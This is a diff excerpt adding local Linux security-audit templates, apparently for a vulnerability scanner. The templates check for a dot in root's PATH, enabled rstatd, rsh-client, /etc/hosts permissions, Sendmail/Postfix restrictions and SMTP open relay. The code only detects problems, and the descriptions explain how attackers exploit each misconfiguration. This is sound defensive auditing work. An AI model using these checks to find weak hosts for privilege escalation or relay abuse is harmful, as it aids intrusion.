author: songyaeji
severity: high
description: |
root user’s PATH environment variable included the current directory (“.”).This allowed scripts or binaries in the working directory to be executed with root privileges. The misconfiguration resulted in potential privilege escalation and unsafe behavior.
reference:
- https://isms.kisa.or.kr/main/csap/notice/
- https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
metadata:
verified: true
tags: local,linux,audit,privesc,kisa
self-contained: true
code:
- engine:
- sh
source: |
echo $PATH | grep -Eq '(^\.?:|:.:|:\.$|^\.$)' && echo "dot-in-path" || echo "safe-path"
matchers:
- type: word
part: response
words:
- "dot-in-path"
# digest: 4b0a004830460221009bc443da27ba4a09097561e6237be8676c76bea133bb051901740f075e5ffe6d022100b56139ecfd6da3702a70cee28aba51fbdc9dde4be9ae7742a31c020ee5bccebb:922c64590222798bb761d5b6d8e72950
+36
View File
@@ -0,0 +1,36 @@
id: rpc-enabled
info:
name: Unnecessary RPC Service (rstatd) Enabled
author: songyaeji
severity: high
description: |
Unnecessary RPC services like rstatd were enabled, allowing attackers to exploit buffer overflow, DoS, or remote execution vulnerabilities to gain root privileges and compromise the system.These services were expected to be disabled unless explicitly required.
reference:
- https://isms.kisa.or.kr
tags: linux,local,audit,compliance,kisas
self-contained: true
code:
- engine:
- bash
source: |
if [ -f /etc/xinetd.d/rstatd ]; then
if grep -qE 'disable\s*=\s*no' /etc/xinetd.d/rstatd; then
echo "[VULNERABLE] rstatd RPC service is enabled in xinetd"
else
echo "[SAFE] rstatd RPC service is disabled in xinetd"
fi
elif systemctl is-active --quiet rstatd 2>/dev/null; then
echo "[VULNERABLE] rstatd service is active under systemd"
else
echo "[SAFE] rstatd service not found"
fi
matchers:
- type: word
part: response
words:
- "[VULNERABLE]"
# digest: 4b0a00483046022100f6750e913cde576eb96f1c12fb0f90474840d40783c1e161429833ad56d220b4022100930976aea7d528355a4292f446f0d04e47a668ee56c75baaadea94fb96d2441d:922c64590222798bb761d5b6d8e72950
+43
View File
@@ -0,0 +1,43 @@
id: rsh-client
info:
name: Ensure rsh Client is Not Installed
author: Th3l0newolf
severity: info
description: |
The rsh-client package provides the Remote Shell client, which transmits data in plaintext and is considered insecure.If not explicitly required, it should be removed to reduce exposure to unauthorized remote access.
remediation: |
Ensure the rsh-client package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove rsh-client -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,local,cisecurity,audit,linux,ubuntu,rsh
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
# Check if the rsh-client package is installed
if dpkg-query -W -f='${Status}' rsh-client 2>/dev/null | grep -q "install ok installed"; then
echo "[cis-rsh-client-check:Policy-Fail] [rsh-client is installed] [CIS_FAIL]"
else
echo "[cis-rsh-client-check:Policy-Pass] [rsh-client is not installed] [CIS_PASS]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100f533077d301c1f42c4d08231ece267cb23ed7b5c19ba1d044c4b1a84dcc14b7f02207cd04519969a2f4f6d584e3b3d04aec08b4eb4f85c07337d2692f13c1ca23791:922c64590222798bb761d5b6d8e72950
+29
View File
@@ -0,0 +1,29 @@
id: rw-hosts-file
info:
name: /etc/hosts File Read/Write Check
author: songyaeji
severity: high
description: |
The /etc/hosts file was writable by non-root users, allowing attackers to register malicious DNS mappings and redirect legitimate domains (pharming attacks). This check verified that /etc/hosts was owned by root and had appropriate permissions.
reference:
- https://isms.kisa.or.kr/main/csap/notice/
metadata:
verified: true
tags: local,linux,hosts,file,audit,kisa
self-contained: true
code:
- engine:
- sh
- bash
source: |
stat -c "%U %G %a" /etc/hosts 2>/dev/null || echo "not-found"
matchers:
- type: regex
part: response
regex:
- '^root\s+root\s+(600|644)$'
# digest: 4a0a00473045022017a5a0e8603f419052c28b1a4247cf2ad1427ed06e840c85cb976599aba89ac50221009d55c0bde34158f8e63bfd6c2a090e801dd4271f75947ef4ad2d9baa133294ab:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,63 @@
id: sendmail-postfix-execution-restrictions
info:
name: Sendmail/Postfix Execution Restrictions Misconfigured
author: songyaeji
severity: medium
description: |
General users were not restricted from executing Sendmail with the q option, and the Postfix binary lacked proper permission controls.This misconfiguration allowed unauthorized users to manipulate the mail queue or disrupt mail delivery.
reference:
- https://isms.kisa.or.kr
tags: local,linux,audit,sendmail,postfix,compliance
self-contained: true
code:
- engine:
- bash
source: |
if ! grep -qi 'restrictqrun' /etc/mail/sendmail.cf 2>/dev/null; then
echo "[VULNERABLE] sendmail.cf missing 'restrictqrun'"
else
echo "[SAFE] restrictqrun option is set in sendmail.cf"
fi
- engine:
- bash
source: |
if [ -x /usr/sbin/postfix ]; then
PERM="$(stat -c '%A' /usr/sbin/postfix 2>/dev/null || echo '')"
if [ "$PERM" != "-rwxr-x---" ]; then
echo "[VULNERABLE] /usr/sbin/postfix permission is '$PERM' (expected -rwxr-x---)"
else
echo "[SAFE] postfix binary permission is correct"
fi
fi
- engine:
- bash
source: |
if getent group postfix >/dev/null 2>&1; then
MEMBERS="$(getent group postfix | awk -F ':' '{print $4}')"
echo "$MEMBERS" | grep -qw root || echo "[VULNERABLE] 'root' not in 'postfix' group"
fi
matchers:
- type: word
name: restrictqrun
part: code_1_response
words:
- "[VULNERABLE]"
- type: word
name: postfix-permission
part: code_2_response
words:
- "[VULNERABLE]"
- type: word
name: postfix-group
part: code_3_response
words:
- "[VULNERABLE]"
# digest: 4a0a004730450220532eeadc9b326aedf00c342a793b477a85a927a91a2fb1ae9caf341d4f41aa32022100cad5d3ff5d3bc482a80979d50961d98d11788235a82926fcff701b4028fff58c:922c64590222798bb761d5b6d8e72950
+59
View File
@@ -0,0 +1,59 @@
id: smtp-open-relay
info:
name: Linux SMTP Open Relay Misconfigured
author: songyaeji
severity: high
description: |
Sendmail and Postfix were checked for proper restrictions against unauthorized relay attempts. Improper configurations allowed attackers to abuse the server for spam or denial-of-service (DoS) attacks.
reference:
- https://isms.kisa.or.kr
tags: linux,local,kisa,audit,compliance
self-contained: true
code:
- engine:
- bash
source: |
if ps -ef | grep -v grep | grep -q sendmail; then
if grep -q 'R\$.\* \$#error \$@ 5.7.1 \$: "550 Relaying denied"' /etc/mail/sendmail.cf 2>/dev/null \
|| (test -f /etc/mail/access.db && echo "[INFO] Sendmail access.db exists (relay likely restricted)"); then
echo "[SAFE] Sendmail relay restriction is configured."
else
echo "[VULNERABLE] Sendmail relay restriction is missing."
fi
else
echo "[INFO] Sendmail is not active."
fi
- engine:
- bash
source: |
if systemctl is-active postfix | grep -q running; then
mynetworks=$(grep -E '^\s*mynetworks\s*=' /etc/postfix/main.cf 2>/dev/null)
relay_restrict=$(grep -E '^\s*smtpd_relay_restrictions\s*=.*permit_mynetworks' /etc/postfix/main.cf 2>/dev/null)
reject_unauth=$(grep -E '^\s*smtpd_relay_restrictions\s*=.*reject_unauth_destination' /etc/postfix/main.cf 2>/dev/null)
if [[ -z "$mynetworks" || -z "$relay_restrict" || -z "$reject_unauth" ]]; then
echo "[VULNERABLE] Postfix relay restrictions are missing or misconfigured."
else
echo "[SAFE] Postfix relay restrictions are properly configured."
fi
else
echo "[INFO] Postfix is not active."
fi
matchers:
- type: word
name: sendmail
part: code_1_response
words:
- "[VULNERABLE]"
- type: word
name: postfix
part: code_2_response
words:
- "[VULNERABLE]"
# digest: 490a00463044022007bbf2c607700ae13d4c405a692792e71588ae5ba345fdaf3607a3857d7407c6022078e9830186951fe00d87c820cb91bd2cde6a00a10675cdf22267e85a4a5ccf60:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
- https://www.cisecurity.org/benchmark/ubuntu_linux
metadata:
verified: true
tags: cis,ssh,linux,audit,ubuntu,benchmark
tags: cis,local,ssh,linux,audit,ubuntu,benchmark
self-contained: true
@@ -58,4 +58,4 @@ code:
name: policy-error
words:
- "Policy-Error"
# digest: 4b0a00483046022100e49a751d372c40d34a054dbcb8f6a10f8703e5ab37531281bfe92823e9406c59022100d3e53c4e0c9add71c25452f81ce654ae390a031d123a3fbcbd75710031893ccf:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203ea0832a8c4b917fb2679f7ad2ab9487115c54adfcff441be71dbb40d59da13a02201683771b631252e5015bae4fbebb7762c9b6af94da44c42224e548f8e0e4e3c8:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
- https://docs.datadoghq.com/security/default_rules/def-000-fqw/
metadata:
verified: true
tags: cis,ssh,linux,audit,ubuntu,benchmark
tags: cis,local,ssh,linux,audit,ubuntu,benchmark
self-contained: true
@@ -43,4 +43,4 @@ code:
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a00463044022013edf98f527f0171254a8ef0aafc2ac836f099ba47c7556913bc253e21a49878022072275743c7347b438d73fbc3b1b65b9498bea608ed176ab9925ba71139a92e2d:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220143cf5a634bf8bfdd48a2dd1285e72edce7ba02474d4c4eb3e848c2f1790093102207c2cf4247a5fe9536dde6756ef936b79aeb786b9c7311dd0461daf36f54ea233:922c64590222798bb761d5b6d8e72950
Loaded 100 of 4030 files, more files were not shown because too many files have changed in this diff. Show more